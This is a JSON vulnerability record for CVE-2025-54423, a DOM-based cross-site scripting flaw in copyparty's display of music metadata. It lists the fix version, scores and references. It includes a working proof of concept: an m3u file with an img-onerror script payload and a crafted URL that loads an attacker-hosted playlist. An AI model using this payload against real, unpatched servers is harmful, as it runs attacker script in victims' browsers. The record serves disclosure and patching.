{"id":"CVE-2025-54423","aliases":["GHSA-9q4r-x2hj-jmvr","PYSEC-2026-1277"],"url":"https://o3.security/vulnerability/CVE-2025-54423","summary":"copyparty has a DOM-Based XSS vulnerability when displaying multimedia metadata","details":"### Summary\n\nAn unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including `m3u` files.\n\n### Details\n\nMultimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:\n\n* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `<img src=x onerror=alert(document.domain)>`\n* an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file\n\nThe CVE score and PoC is based on the m3u approach, which results in a higher severity.\n\n### PoC\n1.  Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.\n\n    ```m3u\n    #EXTM3U\n    #EXTINF:1,\"><img src=x onerror=alert(document.domain)> - \"><img src=x onerror=alert(document.domain)>\n    http://example.com/audio.mp3\n    ```\n\n2.  Craft and share the malicious URL:  \n\n    ```\n    http://127.0.0.1:3923/#m3u=https://example.com/song.m3u\n    ```\n\n\n### Impact\nAny user that accesses this malicious URL is impacted.","published":"2025-07-28T19:53:24.109Z","modified":"2026-08-12T03:51:31.088782734Z","cvss":{"score":5.4,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"},"epss":{"score":0.00395,"percentile":0.32315,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"copyparty","fixedVersion":"1.18.5"}],"fix":{"url":"https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6","label":"9001/copyparty@895880a"},"references":[{"type":"WEB","url":"https://github.com/9001/copyparty/releases/tag/v1.18.5"},{"type":"ADVISORY","url":"https://github.com/9001/copyparty/security/advisories/GHSA-9q4r-x2hj-jmvr"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/54xxx/CVE-2025-54423.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54423"},{"type":"FIX","url":"https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6"},{"type":"PACKAGE","url":"https://github.com/9001/copyparty"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:31.088782734Z"}}